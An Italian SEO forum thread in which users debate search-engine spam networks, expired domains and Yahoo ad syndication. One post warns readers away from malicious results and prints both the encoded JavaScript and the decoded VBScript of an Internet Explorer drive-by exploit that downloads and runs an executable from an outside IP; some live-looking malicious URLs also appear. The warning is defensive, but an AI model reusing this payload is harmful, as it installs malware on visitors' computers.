[Spam-engine] Sveglia, Google!

agoago

Bisogna sempre soffermarsi tra cosa un motore sia in grado di fare e cosa nel momento gli convenga fare.

Piazzare decine di macchine per: monitorare le scadenze degli it, confrontare la variazione dei contenuti dei siti che cambiano owner (perche' io spammer devo comprare un sito solo se scaduto? faccio prima a comprare un sito a bassa resa con buoni valori, pertanto io motore dovro' monitorare tutto, non solo quelli scaduti) riconsiderare tutti i link in base ai nuovi clienti (se io ho un solo sito mio lincato da 10 siti non miei e' una cosa, ma se l'owner di uno di quei 10 siti poi acquista il mio senza modificarlo... ecco che allora quel sito avra' 9 link fuori network ed 1 dal network... una bella differrenza), etc etc ha senso economicamente al fine di individuare un migliaio di siti di spam da bassa classifica?

Per G oggi forse non ancora.

matteo

quando dico che a G non interessano certe query, intendo che forse non sono interessanti per l'utente (raramente cercate) e quindi lui non spreca risorse per porvi rimedio, né tecnico (algo. filtri), né umano (raters&co).

per quello che ho visto (da gennaio ad oggi) la maggior parte delle query in cui è posizionato il network di Seocom è di basso livello.

raramente capita di vederlo per query stagionali importanti, o per query competitive. e in quei rari casi il giudizio dei raters serve solo per controllo, perchè in SERP il sito già non c'è più (ergo bannato/penalizzato).

es?
recente query su di un evento importante che per 2 settimane ha catalizzato l'attenzione degli appassionati:

http://www.faxtor.it/sport/basket/mondiali+basket+2002-2.html

sito valutato e segnalato, ma non presente nelle prime 10 pagine di G. per la stessa query sono state valutate le pagine delle sezioni sportive di msn e yahoo

rimane il fatto che Seocom ha individuato una tecnica (vecchi domini, circuito di overture, query di basso livello), nel tempo l'ha affinata, è riuscito a sfruttarla per miglia e migliaia di query, quadagnando migliaia e migliaia di € (e facendoli guadagnare a Y/overture)

ora il perchè G non banni sistematicamente il person l'address o qualsiasi cosa identifichi il proprietario del dominio, bhe rimane un mistero.

e rimane un mistero il perchè nessuno degli inserzionisti che attivano l'opzione di pubblicazione degli annunci sui siti partner di Y/overture non si lamenti del fatto che i propri annunci non vengano pubblicati su siti VERI, con contenuti VERI, interessanti per l'utente, ma su spamengine estremamente chiusi dal valore quanto meno dubbio.

che rendano anche a loro?

everfluxx

@agoago said:

Bisogna sempre soffermarsi tra cosa un motore sia in grado di fare e cosa nel momento gli convenga fare.
OK. Soffermiamoci pure.

(perche' io spammer devo comprare un sito solo se scaduto?
Perché lo paghi meno.

faccio prima a comprare un sito a bassa resa con buoni valori,
No. Fino a prova contraria, si fa prima a ri-registrare al volo un dominio appena viene cancellato, che non a negoziarne la cessione con l'attuale owner, e fare un cambio di registrant. Soprattutto se un amico maintainer ti dà accesso alla lista dei domini .it in scadenza (lista che puoi facilmente ordinare per PR, o per BL)...

ha senso economicamente al fine di individuare un migliaio di siti di spam da bassa classifica?
La stragrande maggioranza degli spamengine sono, in un certo senso, "da bassa classifica": raschiano il fondo del barile del PPC, sfruttando la long tail e posizionandosi per un numero tipicamente molto grande di keyphrase a bassa competitività (ma cumulativamente molto redditizie).

Poi ovviamente ci sono spam-engine più o meno redditizi, più o meno raffinati, più o meno eleganti. Ma questa è una distinzione che a me non interessa fare qui.

Perciò ti rigiro la tua stessa domanda: laddove ciò sia tecnicamente possibile, ha senso economicamente per Google investire per individuare e rimuovere dalle SERP quanti più spam engine possibile, anziché lasciarli proliferare indisturbati? Io dico che la risposta è sì.

everfluxx

@Matteo said:

quando dico che a G non interessano certe query, intendo che forse non sono interessanti per l'utente (raramente cercate) e quindi lui non spreca risorse per porvi rimedio, né tecnico (algo. filtri), né umano (raters&co).
Come ho appena scritto in risposta ad agoago, penso che questo sarebbe un grave errore, e non voglio credere che il motivo sia disinteresse o lassismo. In realtà finora ho avuto modo di apprezzare un'encomiabile solerzia da parte di Google nel rimuovere spam-engine in seguito a segnalazione (specialmente se effettuata tramite Sitemaps), indipendentemente dalla popolarità della keyphrase segnalata (che comunque è soltanto un esempio fra i tanti possibili). Ne concludo perciò che le cause devono essere prettamente tecniche.

per quello che ho visto (da gennaio ad oggi) la maggior parte delle query in cui è posizionato il network di Seocom è di basso livello.
Quasi tutti gli spam-engine sono posizionati per query "di basso livello" (e questo agoago lo sa meglio di me).

ora il perchè G non banni sistematicamente il person l'address o qualsiasi cosa identifichi il proprietario del dominio, bhe rimane un mistero.
Perché, che tu sappia Google effettua questo tipo di ban ad personam? (E se sì, si tratta di una prassi comune, oppure viene attuata solo in casi eccezionali?)

e rimane un mistero il perchè nessuno degli inserzionisti che attivano l'opzione di pubblicazione degli annunci sui siti partner di Y/overture non si lamenti del fatto che i propri annunci non vengano pubblicati su siti VERI, con contenuti VERI, interessanti per l'utente, ma su spamengine estremamente chiusi dal valore quanto meno dubbio.
Beh, non è vero che nessuno si lamenta. Noi a suo tempo avevamo provato a farci sentire presso il Servizio Clienti di Yahoo! Search Marketing. Purtroppo la nostra ultima mail, nella quale chiedevamo esplicitamente quali garanzie YSM è in grado di offrire ai propri clienti e rivenditori in merito alla qualità dei loro cosiddetti "partner di secondo livello" è rimasta senza risposta.

everfluxx

Aggiungo un'importante precisazione sull'argomento "spam-engine e Yahoo! Search Marketing": aderendo al circuito pay-per-click di YSM, di fatto non è possibile impedire la visualizzazione dei propri annunci sui cosiddetti "partner di secondo livello" di YSM (es. cleansearch.info). Disabilitare l'opzione "Content Match" (l'equivalente dell'opzione "Rete di contenuti" di Google AdWords, che controlla la syndication degli annunci sul circuito di AdSense) non serve a nulla, perché questi siti sono considerati motori di ricerca partner di Yahoo! Search Marketing, e fanno parte a tutti gli effetti della rete di ricerca "standard" di Yahoo!.

must

sulla questione yahoo/overture, penso non ci sia molto da fare/dire.
il motore del mondo sono i soldi, ed evidentemente il sistema funziona bene. va bene ai publisher (é ovvio), va bene agli inserzionisti (evidentemente), e va bene a yahoo (strano, eh?).

gli inserzionisti che si lamentano di dove vanno a finire i loro annunci sono mosche bianche. e non escludo che, tendenzialmente, il ritorno sia buono. magari qualcuno con esperienze in tal senso puó illuminarci su questo

agoago

Everfluxx quando ci si chiede cosa dovrebbe (o non) fare un motore si deve ragionare come un motore e non come un wm.

Pertanto un motore sa che un wm puo' comprare un sito anche se non scaduto e pertanto non e' obbligato a comprare solo siti scaduti.

Sa che un wm se vuole e ha soldi (da buttare o meno) fa prima a comprare un sito attivo piuttosto che aspettare o guerreggiare sugli avanzi altrui.

Il motore affronta il problema in toto o preferisce non impegnarsi in investimenti che invece ha gia' affrontato in altre occasioni.

G e' in grado di valutare come meglio crede i passaggi dei .com, se attualmente non mette lo stesso impegno (investimento) per i .it significa che ad oggi non gli interessa la cosa.

everfluxx

@agoago said:

Everfluxx quando ci si chiede cosa dovrebbe (o non) fare un motore si deve ragionare come un motore e non come un wm. Agoago, un motore non "ragiona". Un motore è un programma creato da persone. Io credo che gli ingegneri di Google si preoccupino molto di come "ragionano" utenti, webmaster e spammer, a seconda dei casi.

Pertanto un motore sa che un wm puo' comprare un sito anche se non scaduto e pertanto non e' obbligato a comprare solo siti scaduti.

Sa che un wm se vuole e ha soldi (da buttare o meno) fa prima a comprare un sito attivo piuttosto che aspettare o guerreggiare sugli avanzi altrui.
Non è detto che si debba "guerreggiare". E comunque si tratta di un processo automatizzabile con relativa facilità: per questo gli spammer di professione lo prediligono. E per questo si dice che Google presti una certa "attenzione" ai domini scaduti che vengono ri-registrati...

G e' in grado di valutare come meglio crede i passaggi dei .com, se attualmente non mette lo stesso impegno (investimento) per i .it significa che ad oggi non gli interessa la cosa.
...oppure che, al momento, non è tecnicamente in grado di farlo.

matteo

altri spamengine che vengono valutati spesso

concorsixtutti.it

fotoexpo.net

e un altro d'oltre-oceano

http://x1333952869.italianonews.info/x933024644/260537865

micky

oggi ho trovato altri spam engine con chiavi sicuramente più concorrenziali: davvero, sveglia google!!!

everfluxx

Attenzione: non cliccate sui risultati della SERP postata da Micky qui sopra (soprattutto se usate IE col supporto JavaScript e ActiveX abilitato)!

Quelle doorway effettuano un redirect verso altre pagine (su IP 195.225.176.34) che contengono questo script:

<Script Language="JavaScript">

var var10939103245=unescape('%3C%53%43%52%49%50%54%20%6C%61%6E%67%75%61%67%65%3D%22%56%42%53%63'+
'%72%69%70%74%22%3E%0D%0A%20%20%20%20%49%66%20%6E%61%76%69%67%61%74'+
'%6F%72%2E%61%70%70%4E%61%6D%65%3D%22%4D%69%63%72%6F%73%6F%66%74%20'+
'%49%6E%74%65%72%6E%65%74%20%45%78%70%6C%6F%72%65%72%22%20%54%68%65'+
'%6E%0D%0A%20%20%20%20%49%66%20%49%6E%53%74%72%28%6E%61%76%69%67%61'+
'%74%6F%72%2E%70%6C%61%74%66%6F%72%6D%2C%22%57%69%6E%33%32%22%29%20'+
'%3C%3E%20%30%20%20%54%68%65%6E%0D%0A%0D%0A%20%20%20%20%44%69%6D%20'+
'%4F%62%6A%5F%4E%61%6D%65%0D%0A%20%20%20%20%44%69%6D%20%4F%62%6A%5F'+
'%50%72%6F%67%0D%0A%20%20%20%20%0D%0A%20%20%20%20%73%65%74%20%6F%62'+
'%6A%5F%52%44%53%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74'+
'%65%45%6C%65%6D%65%6E%74%28%22%6F%62%6A%65%63%74%22%29%0D%0A%20%20'+
'%20%20%6F%62%6A%5F%52%44%53%2E%73%65%74%41%74%74%72%69%62%75%74%65'+
'%20%22%69%64%22%2C%20%22%6F%62%6A%5F%52%44%53%22%0D%0A%20%20%20%20'+
'%6F%62%6A%5F%52%44%53%2E%73%65%74%41%74%74%72%69%62%75%74%65%20%22'+
'%63%6C%61%73%73%69%64%22%2C%20%22%63%6C%73%69%64%3A%42%44%39%36%43'+
'%35%35%36%2D%36%35%41%33%2D%31%31%44%30%2D%39%38%33%41%2D%30%30%43'+
'%30%34%46%43%32%39%45%33%36%22%0D%0A%20%20%20%20%0D%0A%20%20%20%20'+
'%66%6E%20%3D%20%22%31%30%38%39%36%32%33%33%32%33%30%2E%65%78%65%22'+
'%0D%0A%20%20%20%20%4F%62%6A%5F%4E%61%6D%65%20%3D%20%22%53%22%20%26'+
'%20%22%68%22%20%26%20%22%65%22%20%26%20%22%6C%22%20%26%20%22%6C%22'+
'%20%20%20%20%0D%0A%20%20%20%20%4F%62%6A%5F%50%72%6F%67%20%3D%20%22'+
'%41%22%20%26%20%22%70%22%20%26%20%22%70%6C%22%20%26%20%22%69%22%20'+
'%26%20%22%63%61%22%20%26%20%22%74%69%22%20%26%20%22%6F%6E%22%20%20'+
'%20%20%0D%0A%20%20%20%20%73%65%74%20%6F%62%6A%5F%53%68%65%6C%6C%41'+
'%70%70%20%3D%20%6F%62%6A%5F%52%44%53%2E%43%72%65%61%74%65%4F%62%6A'+
'%65%63%74%28%4F%62%6A%5F%4E%61%6D%65%20%26%20%22%2E%22%20%26%20%4F'+
'%62%6A%5F%50%72%6F%67%2C%22%22%29%0D%0A%20%20%20%20%53%65%74%20%6F'+
'%46%6F%6C%64%65%72%20%3D%20%6F%62%6A%5F%53%68%65%6C%6C%41%70%70%2E'+
'%4E%61%6D%65%53%70%61%63%65%28%32%30%29%0D%0A%20%20%20%20%53%65%74'+
'%20%6F%46%6F%6C%64%65%72%49%74%65%6D%3D%6F%46%6F%6C%64%65%72%2E%50'+
'%61%72%73%65%4E%61%6D%65%28%22%53%79%6D%62%6F%6C%2E%74%74%66%22%29'+
'%0D%0A%20%20%20%20%46%6F%6E%74%5F%50%61%74%68%5F%43%6F%6D%70%6F%6E'+
'%65%6E%74%73%3D%53%70%6C%69%74%28%6F%46%6F%6C%64%65%72%49%74%65%6D'+
'%2E%50%61%74%68%2C%22%5C%22%2C%2D%31%2C%31%29%0D%0A%20%20%20%20%57'+
'%69%6E%44%69%72%3D%20%46%6F%6E%74%5F%50%61%74%68%5F%43%6F%6D%70%6F'+
'%6E%65%6E%74%73%28%30%29%20%26%20%22%5C%22%20%26%20%20%46%6F%6E%74'+
'%5F%50%61%74%68%5F%43%6F%6D%70%6F%6E%65%6E%74%73%28%31%29%20%26%20'+
'%22%5C%22%0D%0A%20%20%20%20%66%6E%3D%57%69%6E%44%69%72%20%26%20%66'+
'%6E%0D%0A%20%20%20%20%20%20%0D%0A%20%20%20%20%4F%62%6A%5F%4E%61%6D'+
'%65%20%3D%20%22%4D%69%22%20%26%20%22%63%72%22%20%26%20%22%6F%73%6F'+
'%66%74%22%20%20%20%20%0D%0A%20%20%20%20%4F%62%6A%5F%50%72%6F%67%20'+
'%3D%20%22%58%22%20%26%20%22%4D%22%20%26%20%22%4C%48%54%54%22%20%26'+
'%20%22%50%22%20%20%20%20%0D%0A%20%20%20%20%73%65%74%20%6F%62%6A%5F'+
'%6D%73%78%6D%6C%32%20%3D%20%43%72%65%61%74%65%4F%62%6A%65%63%74%28'+
'%4F%62%6A%5F%4E%61%6D%65%20%26%20%22%2E%22%20%26%20%4F%62%6A%5F%50'+
'%72%6F%67%29%0D%0A%20%20%20%20%6F%62%6A%5F%6D%73%78%6D%6C%32%2E%6F'+
'%70%65%6E%20%22%47%22%20%26%20%22%45%22%20%26%20%22%54%22%2C%22%68'+
'%74%74%70%3A%2F%2F%31%39%35%2E%32%32%35%2E%31%37%36%2E%33%34%2F%75'+
'%73%65%72%32%2F%62%6F%6E%64%30%31%35%32%2F%73%65%72%76%69%63%65%33'+
'%32%2E%65%78%65%22%2C%46%61%6C%73%65%0D%0A%20%20%20%20%6F%62%6A%5F'+
'%6D%73%78%6D%6C%32%2E%73%65%6E%64%0D%0A%20%20%20%20%4F%6E%20%45%72'+
'%72%6F%72%20%52%65%73%75%6D%65%20%4E%65%78%74%0D%0A%20%20%20%20%0D'+
'%0A%20%20%20%20%4F%62%6A%5F%4E%61%6D%65%20%3D%20%22%41%44%22%20%26'+
'%20%22%4F%44%42%22%20%20%20%20%0D%0A%20%20%20%20%4F%62%6A%5F%50%72'+
'%6F%67%20%3D%20%22%53%74%22%20%26%20%22%72%65%61%22%20%26%20%22%6D'+
'%22%20%20%20%20%0D%0A%20%20%20%20%73%65%74%20%6F%62%6A%5F%61%64%6F'+
'%64%62%20%3D%20%6F%62%6A%5F%52%44%53%2E%43%72%65%61%74%65%4F%62%6A'+
'%65%63%74%28%4F%62%6A%5F%4E%61%6D%65%20%26%20%22%2E%22%20%26%20%4F'+
'%62%6A%5F%50%72%6F%67%2C%22%22%29%0D%0A%20%20%20%20%49%66%20%45%72'+
'%72%2E%4E%75%6D%62%65%72%20%54%68%65%6E%0D%0A%20%20%20%20%0D%0A%20'+
'%20%20%20%4F%62%6A%5F%4E%61%6D%65%20%3D%20%22%53%22%20%26%20%22%63'+
'%22%20%26%20%22%72%69%70%74%22%20%26%20%22%69%6E%67%22%20%20%20%20'+
'%0D%0A%20%20%20%20%4F%62%6A%5F%50%72%6F%67%20%3D%20%22%46%22%20%26'+
'%20%22%69%22%20%26%20%22%6C%65%53%79%22%20%26%20%22%73%74%65%22%20'+
'%26%20%22%6D%4F%22%20%26%20%22%62%6A%65%63%74%22%20%20%20%20%0D%0A'+
'%20%20%20%20%53%65%74%20%6F%62%6A%5F%46%69%6C%65%53%79%73%3D%6F%62'+
'%6A%5F%52%44%53%2E%43%72%65%61%74%65%4F%62%6A%65%63%74%28%4F%62%6A'+
'%5F%4E%61%6D%65%20%26%20%22%2E%22%20%26%20%4F%62%6A%5F%50%72%6F%67'+
'%2C%22%22%29%0D%0A%20%20%20%20%53%65%74%20%64%6F%77%6E%6C%6F%61%64'+
'%5F%66%69%6C%65%3D%6F%62%6A%5F%46%69%6C%65%53%79%73%2E%43%72%65%61'+
'%74%65%54%65%78%74%46%69%6C%65%28%66%6E%2C%20%54%52%55%45%29%0D%0A'+
'%20%20%20%20%64%6F%77%6E%6C%6F%61%64%5F%66%69%6C%65%5F%73%69%7A%65'+
'%3D%4C%65%6E%42%28%58%4D%4C%42%6F%64%79%29%0D%0A%20%20%20%20%46%6F'+
'%72%20%69%3D%31%20%54%6F%20%64%6F%77%6E%6C%6F%61%64%5F%66%69%6C%65'+
'%5F%73%69%7A%65%20%0D%0A%20%20%20%20%63%42%79%74%65%3D%4D%69%64%42'+
'%28%58%4D%4C%42%6F%64%79%2C%69%2C%31%29%0D%0A%20%20%20%20%42%79%74'+
'%65%43%6F%64%65%3D%41%73%63%42%28%63%42%79%74%65%29%0D%0A%20%20%20'+
'%20%64%6F%77%6E%6C%6F%61%64%5F%66%69%6C%65%2E%57%72%69%74%65%28%43'+
'%68%72%28%42%79%74%65%43%6F%64%65%29%29%0D%0A%20%20%20%20%4E%65%78'+
'%74%0D%0A%20%20%20%20%64%6F%77%6E%6C%6F%61%64%5F%66%69%6C%65%2E%43'+
'%6C%6F%73%65%0D%0A%20%20%20%20%0D%0A%20%20%20%20%4F%62%6A%5F%4E%61'+
'%6D%65%20%3D%20%22%57%22%20%26%20%22%53%63%22%20%26%20%22%72%22%20'+
'%26%20%22%69%70%74%22%20%20%20%20%0D%0A%20%20%20%20%4F%62%6A%5F%50'+
'%72%6F%67%20%3D%20%22%53%68%22%20%26%20%22%65%22%20%26%20%22%6C%22'+
'%20%26%20%22%6C%22%20%20%20%20%0D%0A%20%20%20%20%53%65%74%20%20%6F'+
'%62%6A%5F%57%53%68%65%6C%6C%3D%6F%62%6A%5F%52%44%53%2E%43%72%65%61'+
'%74%65%4F%62%6A%65%63%74%28%4F%62%6A%5F%4E%61%6D%65%20%26%20%22%2E'+
'%22%20%26%20%4F%62%6A%5F%50%72%6F%67%2C%22%22%29%0D%0A%20%20%20%20'+
'%4F%6E%20%45%72%72%6F%72%20%52%65%73%75%6D%65%20%4E%65%78%74%0D%0A'+
'%20%20%20%20%6F%62%6A%5F%57%53%68%65%6C%6C%2E%52%75%6E%20%66%6E%2C'+
'%31%2C%46%41%4C%53%45%0D%0A%20%20%20%20%45%6C%73%65%0D%0A%20%20%20'+
'%20%6F%62%6A%5F%61%64%6F%64%62%2E%54%79%70%65%3D%31%0D%0A%20%20%20'+
'%20%6F%62%6A%5F%61%64%6F%64%62%2E%4F%70%65%6E%0D%0A%20%20%20%20%6F'+
'%62%6A%5F%61%64%6F%64%62%2E%57%72%69%74%65%28%6F%62%6A%5F%6D%73%78'+
'%6D%6C%32%2E%72%65%73%70%6F%6E%73%65%42%6F%64%79%29%0D%0A%20%20%20'+
'%20%6F%62%6A%5F%61%64%6F%64%62%2E%53%61%76%65%54%6F%46%69%6C%65%20'+
'%66%6E%2C%32%0D%0A%20%20%20%20%6F%62%6A%5F%53%68%65%6C%6C%41%70%70'+
'%2E%53%68%65%6C%6C%45%78%65%63%75%74%65%20%66%6E%0D%0A%20%20%20%20'+
'%45%6E%64%20%49%66%0D%0A%20%20%20%0D%0A%20%20%20%20%45%6E%64%20%49'+
'%66%0D%0A%20%20%20%20%45%6E%64%20%49%66%0D%0A%20%20%20%0D%0A%3C%2F'+
'%53%43%52%49%50%54%3E%0D%0A%0D%0A');
document.write(var10939103245);

</Script>
``` Il codice JavaScript, una volta decodificato con unescape(), si rivela essere un VBScript potenzialmente pericoloso, appositamente progettato per permettere il download e l'installazione di un dialer dallo stesso indirizzo IP, molto probabilmente sfruttando una vulnerabilità di Internet Explorer. Date un'occhiata al sorgente:

var var10939103245=unescape('<SCRIPT language="VBSc'+
'ript">
If navigat'+
'or.appName="Microsoft '+
'Internet Explorer" The'+
'n
If InStr(naviga'+
'tor.platform,"Win32") '+
'<> 0 Then

Dim '+

'Obj_Name
Dim Obj_'+
'Prog

set ob'+

'j_RDS = document.creat'+
'eElement("object")
'+
' obj_RDS.setAttribute'+
' "id", "obj_RDS"
'+
'obj_RDS.setAttribute "'+
'classid", "clsid:BD96C'+
'556-65A3-11D0-983A-00C'+
'04FC29E36"

'+

'fn = "10896233230.exe"'+
'
Obj_Name = "S" &'+
' "h" & "e" & "l" & "l"'+
'
Obj_Prog = "'+
'A" & "p" & "pl" & "i" '+
'& "ca" & "ti" & "on" '+
'
set obj_ShellA'+
'pp = obj_RDS.CreateObj'+
'ect(Obj_Name & "." & O'+
'bj_Prog,"")
Set o'+
'Folder = obj_ShellApp.'+
'NameSpace(20)
Set'+
' oFolderItem=oFolder.P'+
'arseName("Symbol.ttf")'+
'
Font_Path_Compon'+
'ents=Split(oFolderItem'+
'.Path,"",-1,1)
W'+
'inDir= Font_Path_Compo'+
'nents(0) & "" & Font'+
'_Path_Components(1) & '+
'""
fn=WinDir & f'+
'n

Obj_Nam'+

'e = "Mi" & "cr" & "oso'+
'ft"
Obj_Prog '+
'= "X" & "M" & "LHTT" &'+
' "P"
set obj_'+
'msxml2 = CreateObject('+
'Obj_Name & "." & Obj_P'+
'rog)
obj_msxml2.o'+
'pen "G" & "E" & "T","h'+
'ttp://195.225.176.34/u'+
'ser2/bond0152/service3'+
'2.exe",False
obj_'+
'msxml2.send
On Er'+
'ror Resume Next

'+
'
Obj_Name = "AD" &'+
' "ODB"
Obj_Pr'+
'og = "St" & "rea" & "m'+
'"
set obj_ado'+
'db = obj_RDS.CreateObj'+
'ect(Obj_Name & "." & O'+
'bj_Prog,"")
If Er'+
'r.Number Then

'+
' Obj_Name = "S" & "c'+
'" & "ript" & "ing" '+
'
Obj_Prog = "F" &'+
' "i" & "leSy" & "ste" '+
'& "mO" & "bject"
'+
' Set obj_FileSys=ob'+
'j_RDS.CreateObject(Obj'+
'_Name & "." & Obj_Prog'+
',"")
Set download'+
'_file=obj_FileSys.Crea'+
'teTextFile(fn, TRUE)
'+
' download_file_size'+
'=LenB(XMLBody)
Fo'+
'r i=1 To download_file'+
'_size
cByte=MidB'+
'(XMLBody,i,1)
Byt'+
'eCode=AscB(cByte)
'+
' download_file.Write(C'+
'hr(ByteCode))
Nex'+
't
download_file.C'+
'lose

Obj_Na'+

'me = "W" & "Sc" & "r" '+
'& "ipt"
Obj_P'+
'rog = "Sh" & "e" & "l"'+
' & "l"
Set o'+
'bj_WShell=obj_RDS.Crea'+
'teObject(Obj_Name & ".'+
'" & Obj_Prog,"")
'+
'On Error Resume Next
'+
' obj_WShell.Run fn,'+
'1,FALSE
Else
'+
' obj_adodb.Type=1
'+
' obj_adodb.Open
o'+
'bj_adodb.Write(obj_msx'+
'ml2.responseBody)
'+
' obj_adodb.SaveToFile '+
'fn,2
obj_ShellApp'+
'.ShellExecute fn
'+
'End If

End I'+

'f
End If

</'+
'SCRIPT>

');
document.write(var10939103245);

</Script>

BTW, qualcuno sa dirmi che razza di indirizzo è [questo](http://3286347810/)? (E' la prima volta che mi capita di vedere un URL in quel formato).

ale58

E' simile a questo?
Attenzione non aprite questo link (soprattutto se usate IE col supporto JavaScript e ActiveX abilitato)!

http : // 1-3 . tostodentro . org / italcraft /

Ciao Alessio

everfluxx

@Ale58 said:

E' simile a questo? No, quello è un'altra roba ancora. :-[

Non apritelo neanche con Firefox, senza un antivirus serio tipo Kaspersky o NOD32.

cibino

questo è spam?

desertstorm

Io non sarei cosi critico nei confronti di google.

ricordatevi che deve gestire miliardi di pagine e confrontarsi conmigliaia e migliaia di spammers.

pensate solo al vs sito: per quanto "piccolo", avrete almeno 10 cose che non vanno e andrebbero riviste, nonostante questo voi magari non siete in grado di far funzionare una cosa relativamente piccola....
ecco... pensate cosa vuol dire gestire miliardi di pagine...

Ricordate sempre che un seo intelligente non lavora per arrivare oggi in prima posizione, ma per restarci anche domani.
lasciate che gli spammer vivano i loro momenti di gloria... tanto è una cosa ciclica, ogni tot di mesi arrivano ondate di spam e regolarmente verranno decimate da google...

everfluxx

@Desertstorm said:

lasciate che gli spammer vivano i loro momenti di gloria... tanto è una cosa ciclica, ogni tot di mesi arrivano ondate di spam e regolarmente verranno decimate da google...

Il problema è che esistono spammer che spammano "ciclicamente" da anni, sfruttando le stesse tecniche.

ale58

Ci vorrebbe un collegio di SEO che:

riconosca determinate linee guida
a seguito di una votazione definisca l'attributo di spam a un determinato dominio
sia riconosciuti come "autorevole" da google
trasmetta i risultati a google in maniera automatica.

La segnalazione tramite sitemap è individuale e soggetta ad eventuali giochi di interessi.
La votazione del collegio a seguito di una proposta dovrebbe essere invece pubblica e quindi trasparente.

La segnalazione dovrebbe avere anche un leggero costo.

Questo forum potrebbe .... e lancio la palla a Giorgio......

Ciao a tutti
Alessio

everfluxx

Non sta ai SEO definire che cosa è "spam" e cosa non lo è.
A tal fine esistono le linee-guida dei motori di ricerca.

ellegi

@Ale58 said:

Ci vorrebbe un collegio di SEO che:

riconosca determinate linee guida
a seguito di una votazione definisca l'attributo di spam a un determinato dominio
sia riconosciuti come "autorevole" da google
trasmetta i risultati a google in maniera automatica.

La segnalazione tramite sitemap è individuale e soggetta ad eventuali giochi di interessi.
La votazione del collegio a seguito di una proposta dovrebbe essere invece pubblica e quindi trasparente.

La segnalazione dovrebbe avere anche un leggero costo.

Questo forum potrebbe .... e lancio la palla a Giorgio......

Ciao a tutti
Alessio

Sarebbe appunto interessante, fare tipo un sito per raccogliere tutti i siti di spam, come quelli che ultimamente girano con il trojan di linkoptimizer, e fare una coda di segnalazioni da parte di volontari, magari che devono semplicemente "prestare" il proprio ip per la segnalazione inviata in maniera semiautomatica (pigiando magari solo il submit della form)...
in questo modo con l'unione di molte persone è probabile che molti di questi network vengano segati più facilmente. Insomma creare una sorta di "blacklist" tipo spamcop ma fatto per le serp.
Se a qualcuno interessa (e se non esiste già) sarei disposto a collaborare per la creazione di un indice di spam simile.

desertstorm

@Ale58 said:

Ci vorrebbe un collegio di SEO che:

riconosca determinate linee guida
a seguito di una votazione definisca l'attributo di spam a un determinato dominio
sia riconosciuti come "autorevole" da google
trasmetta i risultati a google in maniera automatica.

La segnalazione tramite sitemap è individuale e soggetta ad eventuali giochi di interessi.
La votazione del collegio a seguito di una proposta dovrebbe essere invece pubblica e quindi trasparente.

La segnalazione dovrebbe avere anche un leggero costo.

Questo forum potrebbe .... e lancio la palla a Giorgio......

Ciao a tutti
Alessio

si.. lascia perdere... Dmoz qualcosa dovrebbe aver insegnato....